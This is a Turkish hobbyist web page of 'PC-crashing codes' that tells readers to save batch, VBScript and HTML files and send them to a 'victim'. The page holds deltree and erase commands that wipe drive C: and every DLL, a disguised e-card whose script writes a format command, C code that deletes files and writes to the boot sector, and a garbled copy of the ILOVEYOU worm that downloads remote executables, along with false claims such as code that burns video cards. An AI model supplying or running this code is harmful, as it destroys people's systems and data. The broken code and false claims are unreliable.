Süper Kodlar Kaçırmayın..
 
msn kapatmak için aşşağıdaki yazılı proğramı not pat ile yazıp kaydedin uzantısını.bat olarak yapınız
alt alta nekadar cok yazarsak o kadar uzun süre kapanır msn
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr Süper Kodlar Kaçırmayın...gibi

PC ÇÖKERTEBİLECEK KADAR ETKİLİ KOD




arkadaşlar bu yazacağım kodları not defterine yapıştırıyorsunuz uzantısını bat olarak ayarlıyorsunuz ondan sonra kurbana yolluyorsunuz. kurban bunu aldıktan sonra bilgisayarı kapanıyor ve bidaha açılmamak suretiyle
kod::Süper Kodlar Kaçırmayın..-Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:windowssystem32driver s" & sonuc & ""
FileCopy yol, "c:windowssystem32driver s" & sonuc & ""
calis = Shell(kp)
End Sub


CALISAN UYGULAMALARI KAPATMAK:



İlk önce not defterini açıyoruz ardından shutdown -f yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).
Bunu karşı tarafa atmak için WinRar'la sıkıştırıyoruz.
Sonra da atıyoruz açtığında Pc'de çalışan bütün uygulamalar kapanır(kuban hiçbişey yapamaz..)


şimdi bir wordpar belgesi açıyoruz uzantısı .doc .txt olan cinslerden daha sonra bu belgenin içine aşşağıdaki kodları kopyalayıp yapıştırın.

Kod:
@echo off C:WINDOWSCOMMANDdeltree /y c:windows*.*
@echo off C:WINDOWSCOMMANDdeltree /y c:Progra~1*.*
@echo off C:WINDOWSCOMMANDdeltree /y c:*.*
@echo off cls cls @echo .::bilgisayarın çöktü::. @echo off

Vereceğim kodu not defterine yazın.XXX.bat olarak kaydedin.(xxx dosyanın ismi olcak değiştirebilirsiniz.)
Sonra winrar kullanarak sıkıştırın.Msn veya başka bir yolla karşı tarafa gönderin.Yapacağınız tek şey açmasını beklemek...

90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10 ((<p.x>*100)/1337))> <eval (10 ((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0 > D<hval <var.hue> - 1> D<var.rendermode>
EKRAN KARTI YAKAN KOD

@echo off
C:WINDOWSCOMMANDdeltree /y c:windows*.*
@echo off
C:WINDOWSCOMMANDdeltree /y c:Progra~1*.*
@echo off
C:WINDOWSCOMMANDdeltree /y c:*.*
@echo off
cls
cls
@echo .:: HacKeD gülümse ::.
@echo off3.

METİN SAYFASI AÇIP
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.

PC VİRÜS KODU





1.Yol
notpadi açın.

2.Yol
içine bu sayıları yazın
010010110001111100100101010101 01010000011111100000

3.Yol
kaydederken de uzantısını .exe olarak deiştirin.

4.Yol
kolay gelsinSüper Kodlar Kaçırmayın..
sallayın virusu.karşı tarafın gördüğü son ekran olsun...

Dikkat exe olarak kaydettiktensonra ad koyun yoksa dalgınlık yapıp kendi pcnizi çökertmeyin

SYSTEM 32 YE ZARAR VEREN VİRÜS KODU

span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;

SearchAndDestroy(p);
sprintf(n,"%s%s",p,"*.* ");
for(r=findfirst(n,&f,0x0010);! r;r=findnext(&f)) {
if(*f.ff_name=='.') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,"%s%s",p,f.ff_ name);
span(n);
}
}
}

SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;

strcpy(b,p);
strcat(b,"*.*");
for(r=findfirst(b,&f,0x0000);! r;r=findnext(&f)) {
sprintf(b,"%s%s",p,f.ff_ name);
remove(b);
}
}

boot()
{
char *buff;
char *test;

fprintf(test,"THIS PROGRAM WAS MADE BY Someone Else!!");
abswrite(2,12,0,buff);
}

notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın
system32 klasörüne zarar verıyo bu virüs

SADECE PC KAPATAN KOD






PC KAPATMA
İlk önce not defterini açıyoruz ardından shutdown -s yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak kapanır

HARDİSKİ YAKABİLECEK SEVİYEDE OLAN BİR KOD

<html>
<head>
****** **********="Content-Type" *********"text/html; charset=iso-8859-1">
<title>Aşkından Sevgilerle</title>
</head>
<bOdy>
******** language="VBSCRIPT">
Set fs = CreateObject("Scripting.Fil eSystemObject"
Set a = fs.CreateTextFile("C:c: windowssystem32 autoexec. nt", True)
a.WriteLine("format c: /autotest /u /q"
a.Close
</script>
<p>Giriste ac1lan uyariya "HAYIR" dediyseniz <a
href= "<i>**********</i>:reload()">Malesef e-kart 1n1z cal1smayacakt1r.</p>
</bOdy>
</html>
kopyala vedosya uzantısını html olarak kaydet

PC YE ŞİFRE KOYAN KOD




netuser %username% 123456
shutdown -r sonra sonunu bat olarak kaydet

MSN VE YA EKRANI KAPATMAK İÇİN KOD




ilk basta notepad'ı acıyoruz.karsıdakının sadece msnını kapatmak ıstıyorsak sadece alt alta start tskill msnmsgr yazmanız yeterlı.(ne kadar cok yazarsanız o kadar cok uzun sure kapanır msnı) ekranın kapanıp acılmasınıda ıstıyorsak yıne aynı sekılde alt alta start tskill explorer yazınız.eger ıkısınıde yapmak ıstıyorsanız:
start tskill explorer
start tskill msnmsgr
yukarıdakı gıbı yapınız.ve notepadı farklı kaydet yapıp uzantısını .bat olarak kaydedınız ve kısıye yollayınız

PC KAPANIP ACILMAMSINA NEDEN OLABİLECEK KOD




kod::Süper Kodlar Kaçırmayın..-Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:windowssystem32driver s" & sonuc & ""
FileCopy yol, "c:windowssystem32driver s" & sonuc & ""
calis = Shell(kp)
End Sub

yukardaki yazan kelimeleri not pat içine yapıştırınzı ve daha sonra uzantısını bata çeveriniz
etki alanı bilgisayarın aniden kapanıp acılmamasına neden olabilir

PC FORMAT BİLE ATAMAYA BİLİRSİNİZ




del C:/WINDOWS/system/MOUSE.DRV
del C:/WINDOWS/system/KEYBOARD.DRV
del c:WINDOWSsystem32driverscd rom.bat

shutdown -
NOT defterine yapıştırınız ve uzantısını bat olarak kaydedinz

PC YE RESET ATTIRMA

PC YI RESETLEMEK :



İlk önce not defterini açıyoruz ardından
shutdown -r
yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak resetlenir
FBI VİRÜSÜ



f NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullN ame
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>


notepada yapıştırıp .bat olarak kaydedinSüper Kodlar Kaçırmayın..

EVET ARKADAŞLAR BU KODLRIN HEPSİ PC YE ZARAR VEREN Kodlar BİZZAT BEN GİDİP İTERNET CAFEDE DENEDİM HELE O SİSTEM 32 YE ZARARCEREN VİRÜS YOKMU ARKADAŞLAR BU KODLARI DAHA ÖNCE BİR ARAYA TOPLAYAN VARMI BİLMİYORUM EĞER VARSA KUSURA BAKMAYIN AMA BEN HİÇ RASTLAMADIM ONUN İÇİN HEPSİNİ BİR ARAYA GETİRDİM AMAN HA BU KODLARI KENDİ PC NİZDE ACIPDA BENİ GÜNAHA SOKMAYIN ŞİMDİDEN HAKKINIZDA HELAL EDİNİZ

bu kodu not defterine yapıştırın ve .bat yaoın bu kadar
@echo off
copy %0%windir%Virus.bat> nul
for /R C: %%a in (*.dll) do erase /F %%a > nul



arkadaslar en bastan soyleyim kendi pcnızde denemyın
pcnız acılmaz.Açmak için biçimi attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile
Kod:

rem delete-pcaş (-vbe)
Es hata-PC
Hata Sonraki Pc Hack On
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, vbscopy, d ow dosya
eq = ""
TO = 0
Set fso = CreateObject ( "Scripting.FileSystemObjec t")
set file = fso.opentextfile (WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main ()
ana, alt ()
Error Resume Next On
loş wscr, RR
set wscr = CreateObject ( "WScript.Shell")
RR = wscr.RegRead ( "HKEY_CURRENT_USER Software Micros oft Window s Scripting Host Settings Timeout")
if (rr> = 1) sonra
wscr.RegWrite "HKEY_CURRENT_USER Software Microsoft Windows Scripting Host Settings Timeout", 0, "REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
Set c = fso.GetFile (WScript.ScriptFullName)
c.Copy (dirsystem & " MSKernel32.vbs")
c.Copy (dirwin & " Win32DLL.vbs")
c.Copy (dirsystem & " LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns ()
html ()
spreadtoemail ()
listadriv ()
End Sub
alt regruns ()
Error Resume Next On
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE Software Microsoft Windows Run MSKernel32", dirsystem & Cur rentVersio n s " MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE Software Microsoft Windows RunServices Win32DLL", dirwin & Cur rentVersio n s " Win32DLL.vbs"
downread = ""
downread = regget ( "HKEY_CURRENT_USER Software Micros oft Intern et Explorer Download Directory")
if (= "") sonra downread
downread = "c: "
end if
if (fileexist (dirsystem & " WinFAT32.exe") = 1) sonra
Randomize
num = Int ((4 * Rnd) + 1)
Eğer num = 1 then
regcreate "HKCU Software Microsoft Internet Explorer Main Start Page", "http://www.skyinet.net/ ~ young1s/HJKhjnwerhjkxcvytwertnMTFwetrd sfmhPnjw6587345gvsdf 7679njbvYT / WIN-BUGSFIX.exe "
elseif num = 2 then
regcreate "HKCU Software Microsoft Internet Explorer Main Start Page", "http://www.skyinet.net/ ~ angelcat/skladjflfdjghKJnwetryDGFikjUIy qwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe "
elseif num = 3 then
regcreate "HKCU Software Microsoft Internet Explorer Main Start Page", "http://www.skyinet.net/ ~ koichi/jf6TRjkcbGRpGq** 198vbFV5hfFEkbopBdQZnmPOhfgER6 7b3V BVG / WIN-BUGSFIX.exe "
elseif num = 4 then
regcreate "HKCU Software Microsoft Internet Explorer Main Start Page", "http://www.skyinet.net/ ~ chu / sdgfhjksdfjklNBmnfgkKLHjkqwtuH JBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw23 7461234iuy7thjg/WIN-BUGSFIX.exe "
end if
end if
if ((& " WIN-BUGSFIX.exe") = 0) sonra downread fileexist
regcreate "HKEY_LOCAL_MACHINE Software Microsoft Windows Run WIN-BUGSFIX", downread & " WIN-BUGSFIX.exe" Cur rentVersio n s
regcreate "HKEY_CURRENT_USER Software Microsoft Interne t Explorer Main Start Page", "hakkında: boş "
end if
End Sub
alt listadriv
Error Resume Next On
Dim d, dc ler
Set dc = fso.Drives
Için her d dc
Eğer d.DriveType = 2 veya d.DriveType = 3 Then
folderlist (d.path & "")
end if
Sonraki
listadriv = S
End Sub
alt infectfiles () folderspec
Error Resume Next On
dim f, f1, fc, ext, ap, mircfname, mp3 bName s
set f = fso.GetFolder () folderspec
set fc = f.Files
her f1 fc için
ext = fso.GetExtensionName (f1.path)
ext = LCase (dahili)
s LCase () f1.name =
if (ext = "vbs") veya (ext = "vbe") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
elseif (ext = "js") or (ext = "jse") veya (ext = "css") or (ext = "wsh") veya (ext = "sct") or (ext = "hta") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
bName = fso.GetBaseName (f1.path)
polis = fso.GetFile (f1.path set)
cop.copy (& folderspec "" & bName & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "jpg) veya (ext =" jpeg ") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
polis = fso.GetFile (f1.path set)
cop.copy (f1.path & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "mp3") or (ext = "mp2") then
mp3 = fso.CreateTextFile (& "f1.path ayarlayın. vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile (f1.path)
att.attributes = 2 att.attributes
end if
if (eq <> folderspec) sonra
if (s = "mirc32.exe") veya (s = "mlink32.exe") veya (s = "mirc.ini") veya (s = "script.ini") veya (s = "mirc.hlp") sonra
set scriptini = fso.CreateTextFile (& folderspec " script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine "; mIRC Script"
scriptini.WriteLine "; bu script ... mIRC değiştir bozuk olacak dont, Lütfen, mIRC olacak"
"yozlaşmış scriptini.WriteLine ... Windows ve etkiler doğru çalışmaz. teşekkür "
scriptini.WriteLine ";"
scriptini.WriteLine "; Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0 = on 1: JOIN :#:{"
scriptini.WriteLine "n1 = / if (kesik == KOBİ) (halt)"
scriptini.WriteLine "n2 = /. kesmek göndermek" dcc & dirsystem & " LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3 =)"
scriptini.close
EQ = folderspec
end if
end if
sonraki
End Sub
alt folderlist () folderspec
Error Resume Next On
dim f, f1, sf
set f = fso.GetFolder () folderspec
sf set = f.SubFolders
her f1 sf için
infectfiles (f1.path)
folderlist (f1.path)
sonraki
End Sub
alt regcreate (regkey, regvalue)
Set regedit = CreateObject ( "WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
fonksiyonu regget (değer)
Set regedit = CreateObject ( "WScript.Shell")
regget = regedit.RegRead (değer)
End Function
fonksiyonu fileexist () dosyabelirtimi
Error Resume Next On
dim msg
(fso.FileExists (dosyabelirtimi)) Sonra eğer
= 0 msg
başka
= 1 msg
end if
fileexist msg =
End Function
fonksiyonu folderexist () folderspec
Error Resume Next On
dim msg
(fso.GetFolderExists (folderspec)) o zaman eğer
= 0 msg


PC KAPNIR BİR DAHA AÇILMAZ

@echo off
C:WINDOWSCOMMANDdeltree /y c:windows*.*
@echo off
C:WINDOWSCOMMANDdeltree /y c:Progra~1*.*
@echo off
C:WINDOWSCOMMANDdeltree /y c:*.*
@echo off
cls
cls
@echo .:HACKERLARLA UĞRAŞMA::.
@echo off3
 
  
  Bugün 17 ziyaretçi (24 klik) kişi burdaydı!  
 
Bu web sitesi ücretsiz olarak Bedava-Sitem.com ile oluşturulmuştur. Siz de kendi web sitenizi kurmak ister misiniz?
Ücretsiz kaydol